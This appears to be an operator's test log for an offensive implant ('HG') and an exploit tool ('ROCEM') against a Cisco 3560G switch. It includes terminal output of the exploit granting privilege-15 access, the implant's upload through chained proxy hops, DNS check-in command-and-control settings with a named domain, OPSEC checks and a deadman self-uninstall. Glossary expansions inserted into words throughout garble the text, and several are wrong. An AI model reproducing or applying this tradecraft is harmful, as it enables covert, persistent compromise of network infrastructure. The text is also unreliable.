Owner: User #71467

HG v3.1.3-Adverse-01 Testing

HG was delivered for JQJADVERSE on 9/8/15 for the Cisco 3560G.  Testing scope will include testing ROCEM v1.2 for ADVERSE, delivered to Test Range on 9/15/15, as well as testing HG Base functionality, DNSDomain Name System Checkin capability, SMITE and on-device OPSEC since this will be a persistent delivery.  Also need to test failsafe uninstall to ensure if comms are not established that HG bugs out.

CONOP will be

• Flux into network through three different hosts - first a webserver, then a DC, then to a host that is connected to an adjacent 2960 on a management subnet
• Trigger will be sent through flux, and CTCounter Terrorism session will be established back through flux initially
• An initial CTCounter Terrorism session will be established and DNSDomain Name System Checkin capability verified.  
• Subsequent comms with HG will be via DNSDomain Name System checkin.
• DNS Checkin has been preconfigured with capability to execute SMITE

Testing Summary

• Found issue that appears to match EAREnterprise Archive 5012 - sent to Xetron to confirm this is the same issue.

Testing Notes

Information about target:

• Hardware is WS-C3560G-24TS-S (DUT is WS-C3560G-24PS-E)
• Software is c3560-ipbase-mz.122-35.SE5
• BOOTLDR: C3560 Boot Loader (C3560-HBOOT-M) Version 12.2(25r)SEE4, RELEASE SOFTWARE (fc1)

VMs Used

• Adverse-Flux1 - XX.XX.XXX.XX (IR-DATAK-20020718[IR])/192.168.0.21
• Adverse-Flux2/BIND - 192.168.0.11
• Adverse-Flux3 - 192.168.221.40
• Adverse-ICON-Debian8 - 172.20.12.34
• Adverse-Proxy - XX.XX.XXX.X (IR-DATAK-20020718[IR])/192.168.0.4
• Adverse-Seeds - 192.168.211.10
• DNS Server - X.X.X.X (LVLT-GOGL-8-8-8[US])
• DNS forwarding server 4.4.4.4

1. Smoke Test of ROCEM
   1. Set up the Flux nodes to hop through Flux1 -> Flux2 -> Flux3.
   2. Added a route on ICON VMVirtual Machine for 192.168.0.0/24 to point to the Flux tunnel.
   3. Started ROCEM interactive session - successful:
      

      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254
      [+] Validating data/interactive.bin
      [+] Validating data/set.bin
      [+] Validating data/transfer.bin
      [+] Validating data/unset.bin

      ****************************************
      Image: c3560-ipbase-mz.122-35.SE5
      Host: 192.168.0.254
      Action: Interactive
      ****************************************

      Proceed? (y/n)y
      Trying 127.0.0.1...
      [*] Attempting connection to host 192.168.0.254:23
      Connected to 127.0.0.1.
      Escape character is '^]'.
      [+] Connection established
      [*] Starting interactive session

      User Access Verification

      Password:
      MLS-Sth#

       

      MLS-Sth# show priv
      Current privilege level is 15
      MLS-Sth#show users
      Line User Host(s) Idle Location
      * 1 vty 0 idle 00:00:00 192.168.221.40

      Interface User Mode Idle Peer Address

      MLS-Sth#exit
      Connection closed by foreign host.
      [+] Unsetting
      [*] Attempting connection to host 192.168.0.254:23
      [+] Connection established
      [*] Sending Protocol Step 1
      [*] Sending Protocol Step 2
      [+] Done
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem#

   4. Set/Unset ROCEM - Successful

   5. oot@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
      [+] Validating data/interactive.bin
      [+] Validating data/set.bin
      [+] Validating data/transfer.bin
      [+] Validating data/unset.bin

      ****************************************
      Image: c3560-ipbase-mz.122-35.SE5
      Host: 192.168.0.254
      Action: Set
      ****************************************

      Proceed? (y/n)y
      [*] Attempting connection to host 192.168.0.254:23
      [+] Connection established
      [*] Sending Protocol Step 1
      [*] Sending Protocol Step 2
      [+] Done
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
      Trying 192.168.0.254...
      Connected to 192.168.0.254.
      Escape character is '^]'.

      MLS-Sth#exit
      Connection closed by foreign host.
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -u 192.168.0.254
      [+] Validating data/interactive.bin
      [+] Validating data/set.bin
      [+] Validating data/transfer.bin
      [+] Validating data/unset.bin

      ****************************************
      Image: c3560-ipbase-mz.122-35.SE5
      Host: 192.168.0.254
      Action: Unset
      ****************************************

      Proceed? (y/n)y
      [*] Attempting connection to host 192.168.0.254:23
      [+] Connection established
      [*] Sending Protocol Step 1
      [*] Sending Protocol Step 2
      [+] Done
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
      Trying 192.168.0.254...
      Connected to 192.168.0.254.
      Escape character is '^]'.

      
      User Access Verification

      Password:
      telnet> q
      Connection closed.
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem

2. Smoke test of HG install

   1. Setup Flux nodes
   2. Established Seeds traffic - on Seeds host, manually set proxy and then authenticated once manually.  Then kicked off ARP, DNSDomain Name System and HTTPSHypertext Transfer Protocol Secure seeds.
   3. Set ROCEM
   4. IAC attacked - rcvd acceptable error codes
   5. Uploaded HG - via 3 flux nodes, this takes a while even with interpacket delay set to 0
   6. Unset ROCEM
   7. Had to chmod 755 on adverse-1h.txt file - it was read only when I tried to edit even as root.  permissions were read and execute only.
   8. Established CTCounter Terrorism session through flux

   9. Verified DNSDomain Name System checkin is enabled - time to check in 2d 23h 29m 58s

   10. Verified DNSDomain Name System checkin commands available

   11. Disabled SDCMicrosoft software packaging format and changed dns checkin delay to 60s, dns checkin variance to 10s for testing purposes

   12. Verified that DNSDomain Name System checkin is successful
       

       [192.168.211.10]> checkin show
       [Success]

       DnsCheckin
       Enabled Yes
       SDCMicrosoft software packaging format Enabled No
       Explicit Parameters Enabled No
       Time to Next Check-In 0d 0h 0m 35s
       Initial Delay 3d 0h 0m 0s
       Delay 0d 0h 1m 0s
       Variance 0d 0h 0m 10s
       Domain www.vesselwatcher.net
       SDCMicrosoft software packaging format Time Interval 0d 0h 0m 0s
       SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
       Last Command File Executed ci_loc1_resetfailsafe.cmd
       Lifetime success count 957
       Lifetime failure count 0
       Failsafe Max 12
       Current Failsafe Count 0
       Deadman Enabled Yes
       Last Error None (0)
       Time Since Last Error 0d 0h 0m 0s

       Explicit Parameters
       IP 0.0.0.0
       Subnet 0.0.0.0
       MACApple Operating System 00:00:00:00:00:00
       VLANVirtual Local Area Network 0
       TTLTime To Live 0
       Next Hop MACApple Operating System 00:00:00:00:00:00
       Nameserver 0.0.0.0
       ************ Success ************
       [checkin show]

   13. Enabled SDCMicrosoft software packaging format with 12 hour time frame, however DNSDomain Name System checkins did not work.  Attempted to web browse from Seeds host to give HG some traffic, however it still didn't work.

   14. Disabled SDCMicrosoft software packaging format again and DNSDomain Name System checkins did not resume
   15. Had to disable and then re-enable dns checkin to get dns checkins to resume
   16. Re-enabled SDC, then bounced dns checkin service.
   17. DNS checkin did not resume.  Will continue with SDCMicrosoft software packaging format testing later, disabling at this time
   18. Changed the cname to time on X.X.X.X (LVLT-GOGL-8-8-8[US]) and restarted bind service.
   19. Due to positive response caching on the Flux2 BINDDNSDomain Name System server software server, had to change the positive response cache ttl to 300s on that server and restart bind service
   20. At next DNSDomain Name System checkin, cname time was used and the commands were executed reset failsafe, change variance to 0, change sdc to 1 hour, and change delay to 25 hours.
   21. Changed cname back loc1 on X.X.X.X (LVLT-GOGL-8-8-8[US]).  Verified new caching settings are taking effect - after 300s, Flux2 BINDDNSDomain Name System server software sent the query to 4.4.4.4.
   22. Changed max-cache-ttl on 4.4.4.4 as well as flux2/BIND to 30s.  
   23. Changed cname to loc3 and restarted bind9 on X.X.X.X (LVLT-GOGL-8-8-8[US]).
   24. At next checkin, the new loc3 commands were executed:
       

       [192.168.211.10]> checkin show
       [Success]

       DnsCheckin
       Enabled Yes
       SDCMicrosoft software packaging format Enabled Yes
       Explicit Parameters Enabled No
       Time to Next Check-In 15d 7h 40m 43s
       Initial Delay 3d 0h 0m 0s
       Delay 15d 0h 0m 0s
       Variance 0d 12h 0m 0s
       Domain www.vesselwatcher.net
       SDCMicrosoft software packaging format Time Interval 0d 12h 0m 0s
       SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
       Last Command File Executed ci_map1_changedelay15d.cmd
       Lifetime success count 994
       Lifetime failure count 1
       Failsafe Max 12
       Current Failsafe Count 0
       Deadman Enabled Yes
       Last Error DNSDomain Name System Comms Failure (101)
       Time Since Last Error 0d 0h 1m 4s

       Explicit Parameters
       IP 0.0.0.0
       Subnet 0.0.0.0
       MACApple Operating System 00:00:00:00:00:00
       VLANVirtual Local Area Network 0
       TTLTime To Live 0
       Next Hop MACApple Operating System 00:00:00:00:00:00
       Nameserver 0.0.0.0
       ************ Success ************
       [checkin show]

3. On-Device Opsec
   1. With persistent HG still installed, running successfully after a reboot, CTCounter Terrorism session established - collected show tech - 3560G-showtech-with-persisted-HG
   2. Used device uninstall-g -mp -f to uninstall HG - waited 4 minutes, collected show tech - 3560G-showtech-afterHGuninstall
   3. Reloaded 3560G - collected another show tech - 3560G-showtech-afer-reload
   4. Re-installed HG - collected a show tech without CTCounter Terrorism session, before any reload to verify persistence - 3560G-showtech-withHG
   5. Uninstalled via DNSDomain Name System checkin - observed anomalous output in show stacks.  Did not observe this after HG uninstall from CTCounter Terrorism session.
   6. Notes - Observed EAREnterprise Archive 5012 - LOTS of blank lines in show stack after HG uninstall via DNSDomain Name System checkin++++++
      1. Also observed Init process missing after HG install - this is known issue
         
      2. TCP Command process running
      3. Need to verify sw forwarding counter in show controller output
      4. About 4M additional memory used while HG installed.
   7. Further checking into show stacks output - installed HG and allowing some DNSDomain Name System checkins to go through.  Will see if number of DNSDomain Name System checkins correlates to amount of blank likes in show stacks output.
   8. Allowed 23 DNSDomain Name System checkins to go through, then uninstalled via DNSDomain Name System checkin:
      1. Collected show tech - 3560G-showtech-afterHGuinstall-viaDNS
   9. Reloaded device, reinstalled HG, Allowed 23 DNSDomain Name System checkins to go through, then uninstalled via CTCounter Terrorism command
      1. Collected show tech - 3560G-showtech-afterHGuinstall-viaCT
      2. Noticed that blank lines are still present when uninstalled via CTCounter Terrorism - same number of blank lines as for previous test.
   10. Allow more DNSDomain Name System checkins to occur and see if the number of blank lines increases
       1. Allowed 46 checkins, then uninstalled via CTCounter Terrorism - collected show tech 3560G-showtech-afterHGuinstall-viaCT-46
4. Tested Deaman failsafe
   1. Installed HG and established CTCounter Terrorism session
      
   2. Changed DNSDomain Name System checkin settings to disable SDC, delay to be 20s, variance 10s.  
   3. Allowed DNSDomain Name System checkins to fail - no snooped hosts in DNSDomain Name System client list.
   4. When the 12th failure occured, HG uninstalled:
       

      [192.168.211.10]> checkin show
      [Success]

       

      DnsCheckin
      Enabled Yes
      SDCMicrosoft software packaging format Enabled No
      Explicit Parameters Enabled No
      Time to Next Check-In 0d 0h 0m 3s
      Initial Delay 3d 0h 0m 0s
      Delay 0d 0h 0m 20s
      Variance 0d 0h 0m 10s
      Domain www.vesselwatcher.net
      SDCMicrosoft software packaging format Time Interval 0d 0h 0m 0s
      SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
      Last Command File Executed N/A
      Lifetime success count 0
      Lifetime failure count 11
      Failsafe Max 12
      Current Failsafe Count 11
      Deadman Enabled Yes
      Last Error DNSDomain Name System Comms Failure (101)
      Time Since Last Error 0d 0h 0m 17s

       

      Explicit Parameters
      IP 0.0.0.0
      Subnet 0.0.0.0
      MACApple Operating System 00:00:00:00:00:00
      VLANVirtual Local Area Network 0
      TTLTime To Live 0
      Next Hop MACApple Operating System 00:00:00:00:00:00
      Nameserver 0.0.0.0
      ************ Success ************
      [checkin show]

       

      [192.168.211.10]> [Remote Failure]
      ************ Remote Failure ************
      Connection to device lost!!
      >
      >

5. Ad hoc test - reload DUTDevice Under Test during HG install
   1. Set rocem, iac attacked, unset rocem
   2. Reloaded Dut during remote upload at 24%
   3. No alerting messages appeared on console, DUTDevice Under Test rebooted normally
   4. Subsequent attack and install successful